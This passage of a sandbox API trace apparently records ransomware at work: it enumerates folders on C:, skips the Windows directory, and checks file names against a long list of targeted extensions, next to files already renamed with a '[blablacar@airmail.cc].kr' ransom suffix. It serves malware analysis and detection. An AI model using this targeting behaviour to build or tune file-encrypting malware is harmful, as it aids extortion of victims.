[0109.278] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x3b9fc74 | out: lpNewFilePointer=0x0) returned 1 [0109.279] WriteFile (in: hFile=0x34c, lpBuffer=0x430beb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3b9fc80, lpOverlapped=0x0 | out: lpBuffer=0x430beb8*, lpNumberOfBytesWritten=0x3b9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0109.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0109.281] CloseHandle (hObject=0x34c) Thread: id = 19 os_tid = 0x9e8 [0079.620] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4230048 [0079.621] lstrlenW (lpString="C:") returned 2 [0079.621] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x459c60 [0079.622] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0079.622] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0079.622] lstrlenW (lpString="$GetCurrent") returned 11 [0079.622] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0079.622] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0079.622] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0079.622] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x45a120 [0079.622] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0079.623] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0079.623] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0079.623] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0079.623] lstrlenW (lpString="Logs") returned 4 [0079.623] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0079.623] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0079.624] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0079.624] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260b90 [0079.624] FindNextFileW (in: hFindFile=0x4260b90, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc2e1be50, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.624] FindNextFileW (in: hFindFile=0x4260b90, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc27ffedd, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc27ffedd, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc282618c, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DOWNLE~1.KR")) returned 1 [0079.624] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[blablacar@airmail.cc].kr") returned 75 [0079.624] lstrlenW (lpString=".1cd") returned 4 [0079.624] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0079.624] lstrlenW (lpString=".3ds") returned 4 [0079.624] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0079.624] lstrlenW (lpString=".3fr") returned 4 [0079.624] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0079.624] lstrlenW (lpString=".3g2") returned 4 [0079.624] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0079.624] lstrlenW (lpString=".3gp") returned 4 [0079.624] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0079.624] lstrlenW (lpString=".7z") returned 3 [0079.625] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0079.625] lstrlenW (lpString=".accda") returned 6 [0079.625] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0079.625] lstrlenW (lpString=".accdb") returned 6 [0079.625] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0079.625] lstrlenW (lpString=".accdc") returned 6 [0079.625] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0079.625] lstrlenW (lpString=".accde") returned 6 [0079.625] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0079.625] lstrlenW (lpString=".accdt") returned 6 [0079.625] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0079.625] lstrlenW (lpString=".accdw") returned 6 [0079.625] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0079.625] lstrlenW (lpString=".adb") returned 4 [0079.625] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".adp") returned 4 [0079.625] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".ai") returned 3 [0079.625] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0079.625] lstrlenW (lpString=".ai3") returned 4 [0079.625] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".ai4") returned 4 [0079.625] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".ai5") returned 4 [0079.625] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".ai6") returned 4 [0079.625] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".ai7") returned 4 [0079.625] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".ai8") returned 4 [0079.625] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0079.625] lstrlenW (lpString=".anim") returned 5 [0079.625] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0079.625] lstrlenW (lpString=".arw") returned 4 [0079.625] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".as") returned 3 [0079.626] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0079.626] lstrlenW (lpString=".asa") returned 4 [0079.626] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".asc") returned 4 [0079.626] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".ascx") returned 5 [0079.626] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0079.626] lstrlenW (lpString=".asm") returned 4 [0079.626] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".asmx") returned 5 [0079.626] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0079.626] lstrlenW (lpString=".asp") returned 4 [0079.626] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".aspx") returned 5 [0079.626] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0079.626] lstrlenW (lpString=".asr") returned 4 [0079.626] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".asx") returned 4 [0079.626] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".avi") returned 4 [0079.626] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".avs") returned 4 [0079.626] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".backup") returned 7 [0079.626] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0079.626] lstrlenW (lpString=".bak") returned 4 [0079.626] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".bay") returned 4 [0079.626] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0079.626] lstrlenW (lpString=".bd") returned 3 [0079.626] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0079.626] lstrlenW (lpString=".bin") returned 4 [0079.626] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".bmp") returned 4 [0079.627] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".bz2") returned 4 [0079.627] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".c") returned 2 [0079.627] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0079.627] lstrlenW (lpString=".cdr") returned 4 [0079.627] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".cer") returned 4 [0079.627] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".cf") returned 3 [0079.627] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0079.627] lstrlenW (lpString=".cfc") returned 4 [0079.627] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".cfm") returned 4 [0079.627] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".cfml") returned 5 [0079.627] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0079.627] lstrlenW (lpString=".cfu") returned 4 [0079.627] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".chm") returned 4 [0079.627] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".cin") returned 4 [0079.627] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".class") returned 6 [0079.627] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0079.627] lstrlenW (lpString=".clx") returned 4 [0079.627] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".config") returned 7 [0079.627] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0079.627] lstrlenW (lpString=".cpp") returned 4 [0079.627] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".cr2") returned 4 [0079.627] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0079.627] lstrlenW (lpString=".crt") returned 4 [0079.628] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".crw") returned 4 [0079.628] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".cs") returned 3 [0079.628] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0079.628] lstrlenW (lpString=".css") returned 4 [0079.628] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".csv") returned 4 [0079.628] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".cub") returned 4 [0079.628] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dae") returned 4 [0079.628] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dat") returned 4 [0079.628] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".db") returned 3 [0079.628] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0079.628] lstrlenW (lpString=".dbf") returned 4 [0079.628] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dbx") returned 4 [0079.628] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dc3") returned 4 [0079.628] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dcm") returned 4 [0079.628] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dcr") returned 4 [0079.628] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".der") returned 4 [0079.628] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dib") returned 4 [0079.628] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dic") returned 4 [0079.628] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0079.628] lstrlenW (lpString=".dif") returned 4 [0079.629] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".divx") returned 5 [0079.629] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0079.629] lstrlenW (lpString=".djvu") returned 5 [0079.629] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0079.629] lstrlenW (lpString=".dng") returned 4 [0079.629] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".doc") returned 4 [0079.629] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".docm") returned 5 [0079.629] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0079.629] lstrlenW (lpString=".docx") returned 5 [0079.629] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0079.629] lstrlenW (lpString=".dot") returned 4 [0079.629] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".dotm") returned 5 [0079.629] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0079.629] lstrlenW (lpString=".dotx") returned 5 [0079.629] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0079.629] lstrlenW (lpString=".dpx") returned 4 [0079.629] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".dqy") returned 4 [0079.629] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".dsn") returned 4 [0079.629] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".dt") returned 3 [0079.629] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0079.629] lstrlenW (lpString=".dtd") returned 4 [0079.629] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".dwg") returned 4 [0079.629] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".dwt") returned 4 [0079.629] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0079.629] lstrlenW (lpString=".dx") returned 3 [0079.629] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0079.630] lstrlenW (lpString=".dxf") returned 4 [0079.630] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".edml") returned 5 [0079.630] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0079.630] lstrlenW (lpString=".efd") returned 4 [0079.630] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".elf") returned 4 [0079.630] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".emf") returned 4 [0079.630] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".emz") returned 4 [0079.630] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".epf") returned 4 [0079.630] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".eps") returned 4 [0079.630] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".epsf") returned 5 [0079.630] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0079.630] lstrlenW (lpString=".epsp") returned 5 [0079.630] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0079.630] lstrlenW (lpString=".erf") returned 4 [0079.630] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".exr") returned 4 [0079.630] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".f4v") returned 4 [0079.630] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".fido") returned 5 [0079.630] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0079.630] lstrlenW (lpString=".flm") returned 4 [0079.630] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".flv") returned 4 [0079.630] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0079.630] lstrlenW (lpString=".frm") returned 4 [0079.630] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".fxg") returned 4 [0079.631] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".geo") returned 4 [0079.631] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".gif") returned 4 [0079.631] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".grs") returned 4 [0079.631] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".gz") returned 3 [0079.631] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0079.631] lstrlenW (lpString=".h") returned 2 [0079.631] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0079.631] lstrlenW (lpString=".hdr") returned 4 [0079.631] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".hpp") returned 4 [0079.631] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".hta") returned 4 [0079.631] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".htc") returned 4 [0079.631] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".htm") returned 4 [0079.631] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".html") returned 5 [0079.631] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0079.631] lstrlenW (lpString=".icb") returned 4 [0079.631] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".ics") returned 4 [0079.631] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".iff") returned 4 [0079.631] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".inc") returned 4 [0079.631] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0079.631] lstrlenW (lpString=".indd") returned 5 [0079.631] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0079.631] lstrlenW (lpString=".ini") returned 4 [0079.632] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".iqy") returned 4 [0079.632] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".j2c") returned 4 [0079.632] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".j2k") returned 4 [0079.632] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".java") returned 5 [0079.632] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0079.632] lstrlenW (lpString=".jp2") returned 4 [0079.632] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".jpc") returned 4 [0079.632] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".jpe") returned 4 [0079.632] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".jpeg") returned 5 [0079.632] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0079.632] lstrlenW (lpString=".jpf") returned 4 [0079.632] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".jpg") returned 4 [0079.632] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".jpx") returned 4 [0079.632] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".js") returned 3 [0079.632] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0079.632] lstrlenW (lpString=".jsf") returned 4 [0079.632] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".json") returned 5 [0079.632] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0079.632] lstrlenW (lpString=".jsp") returned 4 [0079.632] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".kdc") returned 4 [0079.632] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0079.632] lstrlenW (lpString=".kmz") returned 4 [0079.633] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".kwm") returned 4 [0079.633] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".lasso") returned 6 [0079.633] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0079.633] lstrlenW (lpString=".lbi") returned 4 [0079.633] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".lgf") returned 4 [0079.633] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".lgp") returned 4 [0079.633] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".log") returned 4 [0079.633] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".m1v") returned 4 [0079.633] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".m4a") returned 4 [0079.633] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".m4v") returned 4 [0079.633] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".max") returned 4 [0079.633] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".md") returned 3 [0079.633] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0079.633] lstrlenW (lpString=".mda") returned 4 [0079.633] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".mdb") returned 4 [0079.633] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".mde") returned 4 [0079.633] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".mdf") returned 4 [0079.633] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".mdw") returned 4 [0079.633] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0079.633] lstrlenW (lpString=".mef") returned 4 [0079.634] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mft") returned 4 [0079.634] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mfw") returned 4 [0079.634] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mht") returned 4 [0079.634] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mhtml") returned 6 [0079.634] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0079.634] lstrlenW (lpString=".mka") returned 4 [0079.634] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mkidx") returned 6 [0079.634] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0079.634] lstrlenW (lpString=".mkv") returned 4 [0079.634] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mos") returned 4 [0079.634] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mov") returned 4 [0079.634] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mp3") returned 4 [0079.634] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mp4") returned 4 [0079.634] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mpeg") returned 5 [0079.634] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0079.634] lstrlenW (lpString=".mpg") returned 4 [0079.634] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mpv") returned 4 [0079.634] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".mrw") returned 4 [0079.634] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0079.634] lstrlenW (lpString=".msg") returned 4 [0079.634] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".mxl") returned 4 [0079.635] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".myd") returned 4 [0079.635] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".myi") returned 4 [0079.635] 